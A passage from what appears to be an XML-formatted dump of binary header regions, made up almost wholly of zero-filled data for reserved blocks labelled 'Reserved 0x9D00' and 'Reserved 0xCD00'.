00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000</data> </hdr_node> <hdr_node name="Reserved 0x9D00" byte_cnt="12288" offset="9D00"> <data>000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000</data> </hdr_node> <hdr_node name="Reserved 0xCD00" byte_cnt="12544" offset="CD00"> 